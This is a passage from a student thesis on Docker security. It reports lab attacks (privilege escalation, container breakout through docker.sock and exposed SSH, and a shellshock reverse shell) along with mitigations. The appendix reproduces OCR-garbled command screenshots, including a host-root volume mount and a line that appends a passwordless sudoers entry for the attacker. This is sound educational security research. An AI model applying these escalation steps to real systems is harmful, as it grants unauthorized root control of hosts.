The attacker has now gained full access to the host’s kernel with root privilege. In Linux, the root user is a superuser with unlimited privilege, and therefore, the attacker can manipulate the host’s kernel endlessly, according to [51] [77]. For instance, the attacker can identify the applications running on the host to find and exploit vulnerabilities. Also, the attacker can exploit vulnerable containers inside the Docker environment to run malicious code, such as crypto miners, because the attacker has root access. Further, the privilege escalation attack on the Docker container enables the attacker to alter confidential files, such as “/etc/passwd/” illustrated in figure 29 [54]. In general, the implications of a privileged attack can be harmful, and its attack surface is vast, especially when the host running Docker is rented to multiple clients on the cloud.
Configuring a container to run with an unprivileged user is vital to protect against such attacks [55]. The company Docker also strongly recommends users to run containers with unprivileged mode [35]. Additional mitigation techniques can also be implemented with the following lists:
· Specify unprivileged user in the Dockerfile.
· Enable Linux capabilities features, including AppArmor, Seccomp, and SELinux.
· Run Docker daemon in rootless mode.

Container breakout
This attack clearly showed the security threats of exposing ports in the Docker environment. The attacker was able to exploit the containers because one of the Dockerfile exposes port 22 to the host via the forwarded port. As shown in the implementation section, the author was able to ssh onto the non-ssh container without any difficulties, although the container is ssh disabled, as shown in figure 61. Typically, in a traditional network system, one cannot ssh into a device that is not configured for ssh connections unless configured. However, the containers are set up to use the default network bridge to communicate locally, and hence, it is possible to access any container within the same bridge because the virtual bridge does not have the capabilities or features to filter any incoming packets. As such, this vulnerability enabled the attacker to gain access through the exposed port 22 to any other container connected to the virtual bridge.
[image: ]
[bookmark: _Toc86858652]Figure 61: A container accessing via ssh to non-ssh container.
In such attacks, the attacker can expand his/her attacks onto the host and other containers connected to the same bridge. The attack container can now breakout to other containers without any challenges; however, escaping to the host requires a container to run Docker engine inside another container. To achieve this, the author applied the Docker commands in figure 62, enabling the attacker to launch a container with Docker features and its volume mounted to the /var/run/docker.sock. In Docker, the /var/run/docker.sock is the Unix socket that allows API calls to communicate by default. For this reason, the attacker can abuse the docker.sock exposure as mounting the Docker daemon socket gives the daemon’s control to the attacker container.
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[bookmark: _Toc86858653]Figure 62: Exploiting Docker socket.
The attacker can now run Docker commands on the container as it is launched to provide Docker platform, and the Docker daemon is under the full control of the attacker’s container. As such, the attacker executes the Docker commands in figure 63, escaping one level to see what Docker images are running on the host machine. Because the daemon is wholly mounted to the attacker’s container, the attacker can run and execute Docker commands remotely via the Docker socket. As a result, this vulnerability enabled the attacker to exploit and execute commands from his/her container. This means that the attacker can stop, delete, or remove any images or containers on the Docker host.
[image: ]
[bookmark: _Toc86858654]Figure 63: Identifying Docker images on the host via the Docker socket.
Similarly, the attacker launched another container based on busybox, mounting the root directory “/” to the “/host” directory and is created inside another container, as shown in figure 64. The reason for using busybox Linux distribution is because it is lightweight and includes many Linux utilities. As can be seen, the container runs in root privilege, and thus the attacker can easily exploit the host file system, as the entire root directory is mapped onto the “/host” directory on the host. As a result, the attacker gained full access with root privilege to the Docker host and surfed on the host file system directories, shown in figure 65. This implies that the attacker can modify, delete, or remove confidential files on the host. Alternatively, he/she can create and run malicious scripts on the host.
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[bookmark: _Toc86858655]Figure 64: Creating a container mapped to the host directory.

[image: ]
[bookmark: _Toc86858656]Figure 65: Surfing on the host directories.
This attack leveraged the Unix socket and exposed ports vulnerabilities to access the entire Docker host file system, and its impact can jeopardize confidential information of enterprises and individuals. Suppose the Docker host was hosting multiple containers of numerous business enterprises and organisations in production. In such a scenario, a malicious actor can apply similar techniques to this attack to steal valuable data and disrupt business services. However, this attack can also be remediated using various techniques and methods, discussed in [51] [55]. Some of the techniques to prevent such an attack are listed below.
· Run containers with an unprivileged user.
· Set volumes to read-only to avoid container breakout attack.
· Do not expose the /var/run/docker.sock; only share it with trusted containers.
· Do not expose ports unless they are needed.
· Always scan and verify Docker images downloaded from public repositories, such as Docker Hub.
· Create a user-defined network rather than using the default Docker bridge network.

Vulnerable application
Threat actors can take advantage of vulnerable applications to exploit and steal valuable information. For this reason, an application vulnerable to reverse shell or shellshock was downloaded from Docker Hub to demonstrate such attacks. The container that runs the application exposes port 80 and is mapped to port 8080 on the Docker host. This means external hosts can access the application via port 8080. The vulnerable application and the attacker’s containers are connected via the default Docker network bridge. As previously discussed, containers connected to the same bridge can communicate and exchange data. Thus, the author accessed confidential files, like “/etc/passwd” of the application container using the curl tool from the attacker container (alpine) because of the application’s vulnerabilities. In h, the /etc/passwd is the file directory that contains user’s passwords, and hence, the attacker can alter this valuable information to broaden his/her attack surface. Figure 66 shows that the attacker accessed the /etc/passwd file directory of the victim’s container by executing the curl script remotely.
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[bookmark: _Toc86858657]Figure 66: Accessing the /etc/passwd file directory.
Further, the attacker conducted a reverse shell attack by exploiting more vulnerabilities of the application. To achieve this, the author used two containers: one to execute the script in figure 67 and the second used to monitor incoming traffics. The attacker manages to get a reverse shell on the listener container, presented in figure 68. This means that the attacker can control the input and output of the victim’s container remotely because he gets the reverse shell back. The commands used in figure 63 are presented in-detail in the previous chapter.
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[bookmark: _Toc86858658]Figure 67: Script to execute reverse shell.
[image: ]
[bookmark: _Toc86858659]Figure 68: The Listener.
The attacker managed to get the reverse shell of the victim’s container due to the vulnerabilities found in the application. This shows that attackers can infiltrate through vulnerable applications to exploit other containers or the Docker host and extend their attacks. In other words, vulnerable applications pave the way for attackers to penetrate enterprise and individual systems to damage and steal useful information. In this attack, the application is downloaded from the public repository Docker Hub and is accessible to every Docker user. This attack showed that threat actors can insert malicious scripts, including spyware, malware, and viruses and upload them to the Docker Hub, and users can download that file into their computer or real production environment. This way, attackers can steal information and spread out their attacks. However, this attack can also be prevented using various tools and methods. The following lists help to reduce or minimise attacks that could originate from vulnerable applications running on Docker containers:
· Always use trusted and verified Docker images.
· Scan Docker images using tools, such as Clair, Notary, Docker bench, and many others to find malicious files [91].
·  Enable Docker content trust (DCT) to check and verify Docker images.
· Use API connection with TLS and proxy to avoid malicious images.
[bookmark: _Toc86859304]DISCUSSIONS
This section evaluates and examines the overall performance of each attack conducted on the Docker environment. It also discusses whether the aims and objectives of this project are achieved.
The primary purpose of the first attack was to conduct a privilege escalation attack on Docker containers. The results showed that the attacker had gained root privilege on the Docker host machine (Ubuntu Laptop) without knowing the root password. The attacker gained root privilege due to becoming a Docker group and running a container based on misconfigured Docker image. This vulnerable Docker image enabled the attacker to escape his privilege to root. Therefore, this attack has proven to be successful.
The second attack aimed to examine Docker security for a container to host attack. One container was created, exposing port 22 to outsiders. The author exploits the exposed port, gaining access to other containers connected to the same network bridge. Further, the author abused the Docker daemon socket to access the host’s file system. The author escaped to the Docker host, exploiting the exposed port and abusing the daemon socket. Thus, the experiment of this attack was completed successfully.
The last attack was conducted to demonstrate how attackers can abuse containers running with a vulnerable application. The application was pulled from the Docker Hub and was vulnerable to shellshock attacks, meaning the attacker can execute reverse shell attack on the container where the application is running. As a result, the author managed to get a shell of the container because of the application vulnerabilities. Thus, the outcome of this attack was completed with success.
[bookmark: _Toc86859305]SUMMARY
This chapter analysed and discussed the results gathered from running the experiments. The results confirm that the attacks were completed with success. The author believes that the Docker security aspect needs more work and improvement, although it has many advantages and benefits. However, Docker can be a reliable and trusted containerization if used with prudence and applying the remediation techniques discussed above. Overall, the attacks conducted have outlined and examined the security vulnerabilities that exist within the Docker systems.
The next chapter will conclude the project along with recommendations for future study.



 
















[bookmark: _Toc86859306]- CONCLUSIONS AND RECOMMENDATIONS
[bookmark: _Toc86859307]Overview
This chapter discusses the fulfilment of the thesis’s research question mentioned in section 5.1. The answers to the question are based on the findings from the experiment. In addition, this chapter includes some recommendations for further research.
[bookmark: _Toc86859308]SUMMARY
The purpose of this project was to examine Docker containers security regarding misconfigured images and vulnerable applications. The project involved three attacks, including privilege escalation, container breakout, and using a vulnerable application to assess Docker systems’ security. The author has conducted background research and literature review to gain a greater understanding and knowledge of Docker ecosystems, specifically its security aspects. This knowledge was applied to design, develop, and implement the security attacks in order to achieve this project’s aims and objectives. The findings and outcomes from the experiments show that the attacks were completed effectively, and the author believes that Docker technology requires more work on its security side. In particular, allowing users to control the Docker daemon can have negative impact on Docker security and its surroundings [35]. 
[bookmark: _Toc86859309]CONCLUSION 
Docker has become the most prominent technology in the containerization industry as it eases and accelerates the deployment, distribution, and delivery of applications across enterprise systems and the cloud. However, Docker is a recent technology; thus, its security platform demands probes for vulnerabilities and exploits to make industries and individuals aware and prevent further security attacks. In this project, the author investigated Docker security using three attacks involving- privilege escalation, container breakout, and a vulnerable application. The author conducted a comprehensive background research and literature review to develop and implement the security attacks on the Docker environment. The background research outlined Docker architecture and its various components. Also, it provided the best security techniques of Docker and its main security threats and vulnerabilities. The literature review evaluated previous works related to this project. The review shows that Docker is more vulnerable to misconfigured images and privilege escalation attacks. 
Further, a systematic methodology was developed based on scientific approaches and methods. The methodology focuses mainly on how the author would collect and interpret the data. As previously mentioned, the project followed positivism and deductive approaches. The data was collected through observation, experiment, and research and presented in screenshots. 
For the experiment, the first two attacks have leveraged scripts of Dockerfiles written by the author for this project to conduct privilege escalation and container breakout attacks. In contrast, the last attack was based on a vulnerable application downloaded from the Docker Hub. The experiment was conducted on a single laptop with Ubuntu version 20.04 and the latest Docker installed. Based on the results obtained from the three experiments, the author believes that Docker security has still a long way to reach maturity. However, this does not mean that Docker is not fundamentally secure to use. The fundamental problem lies in the integrity and authenticity of Docker images, specifically with the Docker Hub.
[bookmark: _Toc86859310]RECOMMENDATIONS FOR FURTHER RESEARCH
This project has highlighted several researchable aspects that could be pursued for further study. The experiments were undertaken on a single host machine, although the attacks can be replicated using multiple host machines. The author’s opinion is that this project could be further researched, involving multiple hosts connected through networks. Further, this project highlighted focusing on three attacks only. Therefore, further work of this project would be to research and experiment comprising more security threats of Docker, such as MitM and ARP poisoning attacks. Another attractive area that could be further explored is examining the security of LXC containers as they are the foundation of Docker technology. Such a study could result in a constructive and critical analysis that is essential and might contribute to Docker security.
 Further, this thesis evaluated the security of Docker containerization only. Therefore, analysing and comparing the security of Docker with other containerization technologies is another interesting area to look at, as it is inclusive. Such studies could lead to a more insightful and comprehensive security analysis of the current containerization technologies in general. Finally, further research on this or related topics, specifically of Docker security, would be essential and a boon to the Dev ops and engineers, as it is a recent technology and needs supplementary studies.



[bookmark: _Toc86859311]– REFLECTIONS
The research was conducted using a wide variety of methodological and scientific approaches to solving the research question discussed in section 5.1. As shown in the report, the overall objectives and aims established for this project were accomplished with success. Throughout the project, the author faced many challenges and obstacles to reach the project’s goals and had learnt several beneficial lessons. The author had limited knowledge of Docker systems as it is a recent technology. Besides, the research requires excellent technical knowledge and understanding of Linux OS. The author conducted extensive research and study on the internet about the Docker and Linux technologies to guide and assist with the implementation and design of the attacks. The thesis’s design was organised in a way that is linear sequential phases to make it academic and professional. 
Throughout this thesis, the author has gained and acquired many skills and bits of knowledge, particularly in the field of Docker security and systems. Some of the skills learned and developed are listed below:
· Time management: the author has layout well-ordered tasks and activities to be fulfilled within a packed schedule to attain the objectives of this project.
· Project management: utilising a Gantt chart to organise and follow up the project’s progress has helped the author deliver the project within the given time frame with minimum stress level.
· Working under pressure: family life, work combined with other modules to deliver was a difficult task. On top of that, the thesis was allocated to three months only. However, the author managed to balance the progress effectively.
· Contingency planning: identifying the potential risks that could occur during the development of this project using risk management techniques had helped the author resume the project when the gns3 software crashed. 
· Schedule and prioritise tasks: each task are essential to the project’s success; however, they were scheduled and arranged based on importance, urgency and complexity, given more time to the testing and experimenting section. This way, the author has benefited from prioritising tasks and learnt how to schedule tasks.



Lessons learnt
· Scheduling and dividing tasks into smaller subsections to manage and simplify the work.
· How to schedule and prioritise tasks accordingly.
· Planning and identifying the risks ahead makes a significant difference to any project. 
· To be committed to the schedules and how to stay motivated.  
· How to accomplish the aims and objectives of a project.
· How to identify the potential risks and apply contingency planning during the development of a project.
· Create multiple back up locations to document and save the works regularly and to avoid data loss.

Things that could have been done differently 
Finding the right topic coupled with other modules has led to starting the project late than expected. Although the author managed to quickly recover on track to finish the project, the project could have been started earlier to produce quality work and avoid frustration and stress.
The research topic is a recent technology and demands in-depth technical skills and knowledge of Docker, Linux, and scripting languages. Although the author could have referred to experienced people for better knowledge and outcome, any technical issues faced were resolved through a research and self-learning approach.
The implementation section should have been allocated adequate time as it was a complicated and challenging task.
Barriers experienced during this project
Some of the obstacles that the author faced throughout the project are as follows:
· The time allocated was insufficient.
· Time management was a complex issue due to workload from other modules and family responsibilities.
· Inadequate skills of Linux and scripting languages, specifically with creating Docker images, was challenging.
· Insufficient research papers on the topic as it is a new technology. In particular, finding pragmatically based papers related to Docker security was difficult.
· Access to university resources and facilities were restricted due to nationwide lockdown because of the coronavirus.
Positives
The author has acquired a wide range of new skills and enriched his knowledge in the area of cloud containerisation technologies, especially of Docker systems and security. Some of the positive aspects of the project are listed below.
· Good time management and effective planning were the main factors to the success of this project.
· The consultation, guidance, and motivation given by the project supervisor have assisted the author to prompt well-structured and professional work.
· Being composed and staying focused has helped the author to finish the project within the given time frame.
Guidance to the future students
· Find the research topic at the very beginning as the time allocated is very tight.
· Establish good planning and time management.
· Identify and prioritise tasks accordingly.
· Communicate and collaborate with your project supervisor.
· Adhere and give attention to the advice given by your supervisor.
· Stick to the plan and stay purposeful throughout.
· Divide the project into small phases and units to stay on track. 
· Stay organised and energetic to reach the project’s objectives.
· Team up to work with other students and never be afraid to ask for help from other people. 
· Always stick to the laws and regulations of the university. 
· Attend meetings with your supervisor regularly.

Summary 
Adding new skills is essential to further your knowledge and opens new opportunities and thus should be acquired and enriched. The key to the success of any project is having effective planning and time management along with having reliable and adequate resources. Regardless of its size, any project can fail without proper coordination and time management. Therefore, it is vital to religiously study and make plans to the smallest detail to achieve any project’s aims. Finally, it is critical to stay motivated and determined to accomplish and produce high-standard work.
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The project has used various resources as listed below:
Software resources
Docker, Ubuntu, Microsoft office
Hardware used
HP laptop with Ubuntu OS installed and phone.
Human resources
Yohannes Zerzghi, project supervisor Dr Carlene Campbell.
Other resources
Internet, google scholar, IEEE explorer.
[bookmark: _Toc86859316]Project planning 
For this project, Gantt chart was used to track and plan the progress of each task. The project is divided into three main sections containing Literature review, design and implementation, testing and experimenting.
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[bookmark: _Toc86858660]Figure 69: sample Gantt chart with all the tasks.
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[bookmark: _Toc86858661]Figure 70: the project plan with Gantt chart.
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yohannes@Johnny:~$ 1sb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.1 LTS
Release: 20.04

[CLIELEH focal
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yohannes@lohnny:~$ sudo apt install docker.io

[sudo] password for yohannes:

Reading package lists... Done

Building dependency tree

Reading state information... Done

docker.io is already the newest version (20.10.7-6ubuntu1~20.04.1).
0 to upgrade, 0 to newly install, 0 to remove and 311 not to upgrade.
yohannes@Johnny:~$ I
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Jonny@ubuntu:~$ docker version
Client: Docker Engine - Community

Versiol
API version:
Go version:

Experimental:

20.10.7
1.41

g01.13.15

fodf350

Wed Jun 2 11:56:38 2021
linux/amd64

default

true

Server: Docker Engine - Community

Engine:
Version:
APT version:
Go versiol
Git commit:
Built:
0s/Arch:
Experimental:
container
Version
GltCommit:
runc:
Version:
GltCommit:
docker-int
Version
GltCommi
jonny@ubuntu

20.10.7
1.41 (minimum version 1.12)
go01.13.15

befsbc3

Wed Jun 2 11:54:50 2021
linux/and64

false

1.4.6
d71fcd7d8303cbf684402823e425e9dd2e99285d

1.0.0-rc9s
b9ee9c6314599F1b4a7f497e11F856Fe433d3b7

0.19.0
deaoado
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jonny@ubuntu:~$ sudo lshw
[sudo] password for jonny:
ubuntu

description: Notebook

product: HP Pavilion Notebook (PSP73EA#ABU)
vendor: HP

version: TypelProductConfigId

serial: 5CD5400F15

width: 64 bits
capabilities: smbios-2.8 dni-2.8 smp vsyscall32
configuration: administrator_password=disabled boot=normal chassis=notebook family=103C_5335KV G=N L=CON B=HP S=PAV X=Null sku=PSP73EA#ABU uuid=35
434435-3430-3046-3135-BO5SADAD44339
*-core
description: Motherboard
product: 8eA1
vendor: HP
physical id: o
version: 91.14
serial: PFLFRO28J9IDXP
slot: Type2 - Board Chassis Location
*-firmware
description: BIOS
vendor: Insyde
physical id: 0
version: F.40
date: 67/24/2015
size: 128KiB
capacity: 6MiB

ranahilitioc: nei nnarade chadewina cdhant hantcalart add int13F]annunac 4nt12F1an:

tachiha int13F]Annu2AA §nt12F] Anmu1200 §nt12F] Annu726 in
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Jonny@ubuntu:~$ sudo adduser attacker

Adding user ‘attacker' ...

Adding new group ‘attacker' (1001) ...

Adding new user ‘attacker' (1001) with group attacker'

Creating home directory °/home/attacker' ...

Copying files from '/etc/skel' ...

New password:

Retype new password:

passwd: password updated successfully

Changing the user information for attacker

Enter the new value, or press ENTER for the default
Full Name []:
Room Number []
Work Phone [
Home Phone [
other []:

Is the information correct? [Y/n] y

jonny@ubuntu:~$ |
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systemd-resolvs 02:104:systemd Resolver,,,:/run/systemd/resolve:/bdbin/ralse
sysl0gi:164:108: : /home/syslog: /bin/false

_apt: nonexistent:/bin/false

messagebus:x:106:110: : /var/run/dbus: /bin/false

uuidd:x:107:111::/run/uuidd: /bin/false

:108:114:Light Display Manager:/var/lib/lightdn: /bin/false

/nonexistent: /bin/false

10:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd: /bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon: /bin/false

dnsmas. 12:65534:dnsmasq, , , : /var /lib/misc: /bin/false

colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech- dlspat(her Xx:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
1 :7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false

/var/lib/saned: /bin/false

sbmux daemon, , , : /var/lib/usbmux: /bin/false

jonny:x:1000:1000: jonny, , , : /home/jonny: /bin/bash

guest-p57zy8 99:Guest: /tmp/guest-p57zy8: /bin/bash
guest-faogke 97:Guest: /tmp/guest-faogke: /bin/bash
guest-h61z61 98:Guest: /tmp/guest-h61z61: /bin/bash

cups-pk-helper:x:103:113:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/n

geoclus 21:105

var/lib/geoclue: /usr/sbin/nologin

gnome-initial-setup :/run/gnome-initial-setup/:/bin/false
gdn:x:123:129:Gnome Display Manager:/var/lib/gdn3:/bin/false
libvirt-qemu:x:64055:130:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
:124:134:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq: /usr/sbin/nologin
tss:x:125:136:TPM software stack,,,:/var/lib/tpm:/bin/false

tcpdump:x:126:138: : /nonexistent: /usr/sbin/nologin

nm-openvpn:x:127:139:NetworkManager OpenVPN, ,,:/var/lib/openvpn/chroot: /usr/sbin/nologin
usr/sbin/nologin

jonny@ubuntu
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# directly modifying this file

#

# See the man page for details on how to write a sudoers file

#

Defaults env_reset

Defaults nail_badpass

Defaults secure_path="/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin: /sbin: /bin:/snap/bin"

# Host alias specification
# User alias specification
M cmnd alias specification

# User privilege specification
root ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# see sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Write out I where Is ! cut Text

Justify cur Pos
Read File Replace Paste Text

ji To Spell Go To Line

Get Help
Exit
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$ sudo usermod -aG docker attacker

sl

jonny@ubuntu
jonny@ubuntu
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sambashare
guest-p57zy!
guest-faoqke:x:997:
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kvm
ubridge:x:131:jonny

rdma:x:132:

libvirt:x:133:jonny
libvirt-qemu:x:64055: 1ibvirt-qenu
libvirt-dnsmasq:x:134:
wireshark:x:135:jonny

render:x:137:
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attacker@ubuntu
attacker@ubunt
attacker@ubunt

$ mkdir escape
$ cd escape
Jescape$
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# pull debaln distribution from Docker Hub
FROM debian:wheezy

# environment varible as a mount point
ENV WORKDIR /attacker

#create a directory to run docker instances

UN mkdir -p SWORKDIR

#volume for the container to use
WORKDIR SWORKDIR
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attacker@ubuntu:~/escape$ docker build -t attacker .
Sending build context to Docker daemon 2.048kB
Step 1/4 : FROM debian:wheezy

---> 10fcec6d95ca

Step 2/4 : ENV WORKDIR /attacker

---> Running in 78951esbcfdb

Removing intermediate container 78951e5bcfdb
---> 4d5788a59590

Step 3/4 : RUN mkdir -p SWORKDIR

---> Running in 5400532e0de7

Removing intermediate container 5400532e6de7
---> d7ac881ca3%

Step 4/4 : WORKDIR SWORKDIR

---> Running in 2746a130ede8

Removing intermediate container 2746a130ede8
---> b78420881230

Successfully built b784a0881230

Successfully tagged attacker:latest
attacker@ubuntu:~/escape$ Il
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attacker@ubuntu:~/escape$ docker run -v /:/attacker -it attacker /bin/bash

root@c7bfoe49e2d7: /attacker# ls

bin cdrom etc initrd.ing lib  libsa media opt root sbin sys usr vmlinuz
boot dev  home initrd.img.old 1ib32 lost+found mnt  proc run srv tmp var vmlinuz.old
root@c7bfeeage2d7: /attacker# |
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root@c7bfedde2d7: /attacker# cat etc/sudoers
#

# This file MUST be edited with the 'visudo' conmand as root.

#

# Please consider adding local content in /etc/sudoers.d/ instead of
# directly nodifying this file.

#

# See the man page for details on how to write a sudoers file.

#
Defaults. en_reset

Defaults. mail_badpass

Defaults. secure_path="/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr /bin: /sbin: /bin: /snap/bin"

# Host alias specification
# User alias specification
# Cnnd alias specification

# User privilege specification
LL:ALL) ALL

# Menbers of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow menbers of group sudo to execute any command
%sudo ALL:ALL) ALL

# See sudoers(S) for more information on "#include" directives:

#includedir /etc/sudoers.d

root@c7bfoease2d7: /attacker# |
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root@c7bfeeade2d7: /attacker# echo "attacker ALL=(ALL) NOPASSWD: ALl

>> [attacker/etc/sudoers
root@c7bfeeage2d7: /attacker# |
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root@c7bfedde2d7: /attacker# cat /attacker/etc/sudoers
#

# This file MUST be edited with the 'visudo' conmand as root.

#

# Please consider adding local content in /etc/sudoers.d/ instead of
# directly nodifying this file.

#

# See the man page for details on how to write a sudoers file.

#
Defaults. en_reset

Defaults. mail_badpass

Defaults. secure_path="/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr /bin: /sbin: /bin: /snap/bin"

# Host alias specification
# User alias specification
# Cnnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL

# Menbers of the admin group may gain root privileges

# Allow menbers of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# See sudoers(S) for more information on "#include" directives:

#includedir /etc/sudoers.d

root@c7bféedde2d7: /attacker# i
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Zpull ubuntu from Docker hub

FROM ubuntu:16.04

# install openssh server
RUN apt-get update && apt-get install -y openssh-server

#create needed directory for ssh-server
RUN mkdir /var/run/sshd

#provide sudo privilege
RUN echo 'root:attacker' | chpasswd

#gpermits login to the root account via SsH
RUN sed -1 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config

# SSH login fix. Otherwise user is kicked off after login
RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
ENV NOTVISIBLE "in users profile”

RUN echo "export VISIBLI

ow" >> [etc/profile

#expose the SSH port
EXPOSE 22

#start ssh server
CMD ["/usr/sbin/sshd
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#pull ubuntu from Docker hub
FROM ubuntu:16.04

#install openssh server
RUN apt-get update && apt-get install -y openssh-server

#create needed directory for ssh-server
RUN mkdir /var/run/sshd

#give sudo privilege
RUN echo 'root:attacker' | chpasswd

RUN sed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
# SSH login fix. Otherwise user is kicked off after login
RUN sed 's@session\s*required\s*pan_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd

ENV NOTVISIBLE

n users profile”
RUN echo "export VISIBLE=now" >> /etc/profile

#start ssh server in the backgroundf]
CMD ["/usr/sbin/sshd", "-D"]
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jonny@ubuntu:~/Desktop/SSH$ 1s
Dockerfile
jonny@ubuntu:~/Desktop/ssHS sudo docker build -t ssh_enabled .
Sending build context to Docker daemon  2.56kB
Step 1/10 : FROM ubuntu:16.04
---> 38b3fad640d4
Step 2/10 : RUN apt-get update && apt-get install -y openssh-server
> Running in 57a64cddba7e
Get:1 http://archive.ubuntu.com/ubuntu xenial InRelease [247 kB]
Get:2 http://security.ubuntu.com/ubuntu xenial-security InRelease [109 kB]
Get:3 http://archive.ubuntu.com/ubuntu xenial-updates InRelease [169 kB]
Get:4 http://archive.ubuntu.com/ubuntu xenial-backports InRelease [107 kB]
Get:5 http://archive.ubuntu.com/ubuntu xenial/main amd64 Packages [1558 kB]
Get:6 http://security.ubuntu.com/ubuntu xenial-security/main amd64 Packages [2051 kB]
Get:7 http://archive.ubuntu.com/ubuntu xenial/restricted and64 Packages [14.1 kB]
Get:8 http://archive.ubuntu.com/ubuntu xenial/universe amd64 Packages [9827 kB]
Get:9 http://security.ubuntu.com/ubuntu xenial-security/restricted and64 Packages [15.9

Get:10 http://archive.ubuntu.com/ubuntu xenial/multiverse amd64 Packages [176 kB]
Get:11 http://archive.ubuntu.com/ubuntu xenial-updates/main and64 Packages [2560 kB]
Get:12 http://security.ubuntu.con/ubuntu xenial-security/universe amd64 Packages [984 k

Get:13 http://security.ubuntu.con/ubuntu xenial-security/multiverse amd64 Packages [882¢
Get:14 http://archive.ubuntu.com/ubuntu xenial-updates/restricted amd64 Packages [16.4
Get:15 http://archive.ubuntu.com/ubuntu xenial-updates/universe and64 Packages [1544 kB
Cote1f httne I larrhive thintin cnm/fs voni al -tindatec fmul +3 verce amdcd Parkanee [2& 2
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Jjonny@ubuntu:~/Desktop/NOSSHS docker build -t ssh_disabled .

Sending build context to Docker daemon 2.048kB

Step 1/9 : FROM ubuntu:16.04

---> 38b3fa4640d4

Step 2/9 : RUN apt-get update && apt-get install -y openssh-server

> Using cache

> fa6200991ced

Step 3/9 : RUN mkdir /var/run/sshd

---> Using cache

---> 6141c27baedb

Step 4/9 : RUN echo 'root:attacker' | chpasswd

---> Using cache

---> 4ec@15bedile

Step 5/9 : RUN sed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config

> Using cache

> c971db31c15b

Step 6/9 : RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
> Using cache

> 014e4774bb74

Step 7/9 : ENV NOTVISIBLE "in users profile"

> Using cache

> b2dasfb7ffba

Step 8/9 : RUN echo "export VISIBLE=now" >> /etc/profile

> Using cache

> belag3dzefef

Step 9/9 : CMD ["/usr/sbin/ssh
---> Running in 3e45ea704cOb
Removing intermediate container 3e45ea704cob
---> bisacdsfb3cc

Successfully built biSacdéfb3cc
Successfully tagged ssh_disabled:latest
jonny@ubuntu:~/Desktop/NossH$ []

", nopr
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Jonny@ubuntuz~/Desktop/NOSSHS docker run -d -P --name con_ssh ssh_enabled
0a241f1fc0a2f9bofacfbs8d133bab6dad7f91d63867772642c5e556d6e06aec?
Jonny@ubuntuz~/Desktop/N0sSHS docker run -d  --name con_nossh ssh_disabled
5dc780b6feadcb498027ecf3f521fc47a3bice53f3ec539a5b2638d863046609
jonny@ubuntu:~/Desktop/NossHS []
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Jonny@ubuntui~/Desktop/NOSSHS docker pull alpine

Using default tag: latest

latest: Pulling from library/alpine

29291e31a76a: Pull complete

Digest: sha256:eb3ede175ba6d212ba1d6e04fcO782916c08e1c9d7b45892e9796141b1d379ae
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest

Jnnni@ubuntu'-/Desktop/NOSSHS docker run -it --name alpine1 alpine /bin/sh
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Jonny@ubuntu:~/Desktop/NOSSHS docker ps

CONTAINER ID

"Jusr/sbin/sshd -D"
" Jusr/sbin/sshd -0"
/Desktop/Nossk$ ||

sdc786bsfeas
8a241f1fc6a2

CREATED
5 minutes ago
7 minutes ago
8 minutes ago

STATUS.
Up 5 minutes
Up 7 minutes
Up 8 minutes

PORTS.

0.0.0.0:49153->22/tcp,

:49153->22/tcp




image37.png
"alpinet’
Endpolntlb "af3e26e171e90767b33782af Fedocasa3f23ebaddc095daarasssaz8raradsa:
MacAddress": "62:42:ac:11:00:04"

TPvaaddress”: "172.17.0.4/1

TPveAddres:

80b6Feadcha9B27ecr 37521 c7a3blces3Fecs39asb26380863046609"
Name": "con_nossh'

EndpointID

MacAddress'

bridge.default_bridge’
bridge.enable j true
bridge.enable_ip_nasquerad
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Jonny@ubuntuz-/Desktop/NOSSHS docker port con_ssh
22/tcp -> 6.0.0.0:49153

22/tcp -> :::49153
jonny@ubuntu:~/Desktop/Nossk$ |
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jonny@ubuntu:~/Desktop/NOSSHS ssh root@127.6.6.1 -p 49153
00t@127.0.0.1's password:

ielcone to Ubuntu 16.64.7 LTS (GNU/Linux 5.4.6-77-generic x86_64)

* Documentation: https://help.ubuntu.con

* Managenent:  https://landscape. canonical..con
Jubuntu.con/advantage

Fri Aug 27 00:31:13 2021 from 172.17.0.1
00t@0a241f1fcoaz:~# |
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jonny@ubuntu:~/Desktop/NOSSHS ssh root@172.17.8.3
The authenticity of host '172.17.8.3 (172.17.8.3)' can't be established.
ECDSA key fingerprint is SHA256:2851uLYNPWXBHNGNJBST 620bBTWNTRTrKFAYaB3rs .
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.8.3' (ECDSA) to the Llist of known hosts.
root@172.17.6.3's password:

Welcome to Ubuntu 16.84.7 LTS (GNU/Linux 5.4.8-77-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management https://landscape.canonical.con
